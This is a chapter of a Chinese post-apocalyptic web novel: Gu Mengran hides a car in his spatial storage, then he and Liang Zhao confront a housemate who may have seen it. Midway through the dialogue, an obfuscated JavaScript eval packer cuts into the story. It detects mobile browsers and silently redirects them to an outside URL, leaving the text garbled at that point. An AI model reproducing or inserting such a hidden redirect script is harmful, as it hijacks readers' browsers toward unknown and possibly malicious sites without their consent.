不过城内错综复杂的街道并未清理,摇摇晃晃开了十来分钟,隔着大老远终于看到翡翠城的影子,路却走不通了。 本来也没打算把车开回去,顾孟然就地停车,与梁昭背上背包从车上下来。 之后两人若无其事地在街道、废墟中闲逛了一会儿,确认四周无人后,顾孟然重新坐进驾驶室,在梁昭的指挥下将商务车开到一座由建筑残骸堆积而成的小山背后。 雾越来越淡,能见度直线回升,在外使用空间必须小心谨慎。借由雾气与残骸双重掩护,顾孟然下车后抬手覆上引擎盖,裹着厚重灰尘的黑色商务车顷刻消失在眼前。 最大的问题解决了,顾孟然浑身轻松,扭头与梁昭招招手,踩着碎石往回走,一边与他对口供: “回去就说九街给了两辆车,从‘晋城’回来再放一辆大巴车在空间里。反正其他人也不会和九街打交道,不至于露馅。回头等车坏了,我们假装在附近找一找,再从空间里拿出来用。” “既有车备用又不会暴露空间,很完美的计划。”梁昭加快步伐与顾孟然并肩前行,不遗余力地夸赞道。 顾孟然嘿嘿一笑,“是吧?只是我这说谎都成习惯了,心里怪过意不去的。” “不要这样想,做好事的前提下保证自身安全,你没有做错,这也算是一种善意的——” 顾孟然还等着梁昭的后话呢,梁昭说一半忽然不说了,脚下步子猛地一顿,眸子瞬间冷了下去,半眯着眼睛直视前方。 突然的沉默让顾孟然顿感不妙,他循着梁昭的视线望过去,脑子里“嗡”的一声响,当场愣在原地。 稀薄的雾气萦绕,远处一片狼藉的翡翠城,半塌未塌的商铺顶上站着一个人。小个子、黑框眼镜,虽说距离远看不清相貌,但通过穿着打扮一眼就能确认,那人正是郑奕杰。 什么情况?刚才那里明明没人啊!他在那看了多久,都看见了?顾孟然脑子一片混乱,慌忙回头看向残骸山,迫切地确认对方到底有没有看见。 还没等他做出准确判断,身旁一动不动的梁昭倏地一下冲了出去。劲风拂面,顾孟然再回过头时,商铺顶上早已没了人影。 糟了!顾孟然瞬间确认,对方一定是看见了。 混乱的思绪抛之脑后,顾孟然紧跟着追了上去。 隔得两条街,追肯定是追不上的,但跑得了和尚跑不了庙。 顾孟然一口气跑回小洋楼,穿过后花园,气喘吁吁地来到杂物间门口,见梁昭被防盗门挡住了去路他便知道,郑奕杰回来了,而且把门反锁了。 “开门,郑奕杰,把门打开!”梁昭浑身是汗,一只手反复拧动门把手,另一只手用力拍门。 顾孟然见状果断从空间里拿出开锁钩,快步走上前,“先别急,我来开。” 开锁钩刚对准锁孔,门从里面打开了。 老爷子摇着蒲扇站在门背后,一脸嫌弃地看着门外两人,眉头微微一皱,“干啥一个个的?鬼撵着了?” “郑奕杰呢?”顾孟然没空跟外公解释,侧身往门缝中挤。 “屋里呢,刚回来。”老爷子不明情况,探出脑袋朝门外看了一眼,神情逐渐紧张起来,“咋回事啊你们?都一身汗?跟人家没谈妥,起冲突了?” 梁昭紧跟顾孟然的步伐,沿着楼梯往下走。担心老爷子受到惊吓,他特意回头解释了一句:“没跟人起冲突,放心孟爷爷,一会儿跟你细说。” 卧室门从里面反锁了,顾及着客厅里的老师和孩子们,顾孟然没有选择直接开锁,喘着粗气站在门口,耐着性子礼貌敲门。 两分钟过去了,梁昭匆匆赶来,门内还是没有回应。 顾孟然心急如焚,但他知道这时候不能急。 深吸两口气,顾孟然强压下心中不安,凑到门缝边好声好气道:“郑奕杰你把门打开行吗?这几天相处下来你应该也知道我们是什么样的人,开门聊一聊吧。” 空间暴露意味着顾孟然将会陷入危险中,必须尽快稳住郑奕杰,不能给他将消息扩散出去的机会。人在家倒还好,但他们没进过这间卧室,不确定卧室还有没有其他通道。 想到这,梁昭再也无法冷静,他越过顾孟然在门上重重拍了两下,压着嗓子明晃晃地威胁道:“给你五秒钟时间考虑,要么开门好好聊一聊,要么我们亲自开门,换种方式聊。” “发生什么事了?” 梁昭制造出来的动静没吓到郑奕杰,反倒吸引了两位老师的注意。魏千兰和周琴从客厅里探出头,一脸担忧地望着两人。 顾孟然正想着该怎么解释,周琴犹犹豫豫问道:“你们和郑哥吵架了?” “不算吵架,”顾孟然借坡下驴,含含糊糊道:“就是有点小矛盾。吵到你们了?我们会尽量小声一点。” ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|13984211|146651||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' “到底怎么了?有话好好说,不——” 没等周琴把话说完,魏千兰拉着她的胳膊用力一拽,两道身影同时消失在通道尽头,只留下一句“你们先忙”。 顾孟然默默给魏千兰道了个谢,扭头继续对门缝说道:“郑奕杰,你不会忘了我会开锁吧?敲门是我们的诚意,你赶紧的!” 威逼利诱,好话歹话齐上阵,磨了将近五分钟,门内终于传来了郑奕杰的声音: “我现在不想聊,你们走!” “确定要我们走?”梁昭嗤笑一声,沉声道:“我们现在就可以走,当然,我们不介意带上你仓库里的物资。” 话音刚落,一阵凌乱的脚步声在门内响起。 声音由远至近,不到五秒钟,只听“咔嗒”一声,房门打开了。 “我好心收留你们,你们就这样恩将仇报?” 房门半敞,郑奕杰躲在门背后,头发乱得跟鸡窝似的。一看就知道,他内心刚经历了一番天人交战,愁得脑袋都快挠秃了。 顾孟然没空在意他的心情,和梁昭一起推门进屋,随后快速将卧室打量一遍。并未发现其他出口,顾孟然不动声色地给梁昭递了个眼神,而梁昭当即关上房门并反锁。 郑奕杰明显慌了,脸色唰一下惨白,瞪大眼睛看着顾孟然,踉踉跄跄后退,“你们到底想干什么?” “别慌,不会把你怎么样,我就是问几个问题。” 对方越慌顾孟然越冷静,虽然秘密可能已经暴露了,但气势不能输,不能在郑奕杰面前露怯,才不会被别人拿捏。 于是顾孟然下巴一抬,慢步走到郑奕身前,以大半个头的身高优势,居高临下地看着郑奕杰,一脸严肃道:“你当时在那里做什么?” 一米八的大高个站在身前,多多少少还是有点压迫感,郑奕杰慌忙别开脸,含含糊糊道:“什么这里那里,我不知道你在说什么?” “能不能好好聊?”顾孟然眉头一皱,眸色沉了下去。 “找物资呗干什么!”郑奕杰抿了抿嘴,“刚哥说他们不会来这附近,那我寻思再仔细搜一搜,找点有用的。” 顾孟然点了下头,示意他继续说。 郑奕杰无奈地叹气,“我舔包舔的正起劲呢,忽然听到车的声音。我不太确定是不是你们回来了,所以没有第一时间露面。” “后来看到你们下车,我就沿着楼梯去顶上,还想着和你们隔空打个招呼,结果……” “结果什么?”梁昭追问。 “你看到了什么?”顾孟然直截了当地问。 压力拉满了,郑奕杰耷拉着脑袋,酝酿了好半晌才支支吾吾道:“就、就那啥……” “说清楚!”梁昭眸色一沉,声音骤然拔高。 浑然忘了郑奕杰这人吃软不吃硬,这一嗓子吼下去,郑奕杰瞬间红温,瞪大眼睛怒视梁昭,“比谁声音大吗?我就是看到了又怎么样?你们自己不藏着掖着点,在大街上用异能不就是——” “等等等等,什么玩意儿?异能?”